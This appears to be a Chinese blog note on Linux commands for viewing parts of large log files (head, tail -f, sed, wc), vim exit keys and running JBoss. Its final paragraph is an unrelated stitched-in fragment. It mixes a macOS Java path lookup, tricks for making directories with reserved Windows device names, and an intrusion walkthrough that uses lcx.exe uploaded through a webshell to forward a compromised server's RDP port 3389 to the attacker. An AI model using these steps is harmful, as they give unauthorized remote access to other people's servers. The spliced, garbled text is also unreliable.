最近經(jīng)常查看服務(wù)器上的log文件,有時(shí)log文件太大查起來(lái)很不方便,看了看網(wǎng)上說(shuō)可以部分查詢,就先記錄一下吧
Linux中查看部分文件內(nèi)容命令head,tail,sed的用法:
Linux中的查看文件內(nèi)容最常用的cat,less,more和vim我們都已經(jīng)很熟悉了,但是這些命令都是查看文件的全部?jī)?nèi)容,如果要查看文件的部分內(nèi)容可以使用head,tail或sed,下面對(duì)這幾個(gè)命令的用法做一個(gè)簡(jiǎn)單的介紹:
1. 查看文件的前幾行,可以使用head命令,如:
head -10 /etc/passwd
2. 查看文件的后幾行,可以使用tail命令,如:
tail -10 /etc/passwd
tail -f /var/log/messages
參數(shù)-f使tail不停地去讀最新的內(nèi)容,這樣有實(shí)時(shí)監(jiān)視的效果,當(dāng)你在ppp撥號(hào)的過(guò)程中用它豈不是很方便!
3. 查看文件中間一段,你可以使用sed命令,如:
sed -n '5,10p' /etc/passwd
這樣你就可以只查看文件的第5行到第10行。
現(xiàn)在處理的數(shù)據(jù)量很大,打開(kāi)文件的時(shí)間太長(zhǎng),不打開(kāi)文件,直接用:
wc -l filename
可以數(shù)出文件的行數(shù)
vim
1.ESC-:-WQ-Enter
2.ESC-:-Q-Enter
3.ESC-:-Q!-Enter
4.ESC-:-!-Enter
------------------------------------------------------------------------------
tail
tail -f /var/log/messages
-------------------------------------------------------------------------------
jboss
1、簡(jiǎn)單開(kāi)啟服務(wù)器的命令:進(jìn)入到 bin 目錄下,輸入 ./standalone.sh 命令。
2、讓服務(wù)器開(kāi)啟后在后臺(tái)運(yùn)行:進(jìn)入到bin目錄下,輸入 nohup ./standalone.sh & 命令。
3、如果使用第二種開(kāi)啟服務(wù)器的方式,關(guān)閉服務(wù)器就比較麻煩,分為兩種:
如果是在本地操作linux常用命令,進(jìn)入到 bin 目錄下,輸入:./jboss-admin.sh --connect command=:shutdown 命令
3、在命令行輸入/usr/libexec/java_home -v 1.8命令找到j(luò)dk安裝目錄(如我本機(jī)的安裝目錄為:/library/java/javavirtualmachines/jdk1.8.0_112.jdk/contents/home)。再試試輸入mdc:aux\命令,可以建立aux目錄,輸入md c:prn\可以建立prn目錄,輸入mdc:com1\目錄可以建立com1目錄,而輸入md c:ul\則可以建立一個(gè)名為nul的目錄。找個(gè)可讀可寫目錄上傳lcx.exe本地cmd命令:lcx.exe -listen 1988 4567(監(jiān)聽(tīng)本地1988端口并轉(zhuǎn)發(fā)到4567端口)接著shell命令:/cc:\windows\temp\cookies\lcx.exe -slave本機(jī)ip 1988 服務(wù)器ip 3389(把服務(wù)器3389端口轉(zhuǎn)發(fā)到本地4567端口)之后本地連接:127.0.0.1:4567 (如果不想加上:4567的話,本地執(zhí)行命令的時(shí)候,把4567換成3389來(lái)執(zhí)行就行了)上是本機(jī)外網(wǎng)情況下操作,接著說(shuō)下在外網(wǎng)服務(wù)器里如何操作:上傳lxc.exe cmd.exe到服務(wù)器且同一目錄linux常用命令,執(zhí)行cmd.exe命令:lcx.exe -listen 1988 4567接著在aspxshell里點(diǎn)擊端口映射,遠(yuǎn)程ip改為站點(diǎn)的ip,遠(yuǎn)端口程填1988,點(diǎn)擊映射端口,接著在服務(wù)器里連接127.0.0.1:4567就可以了。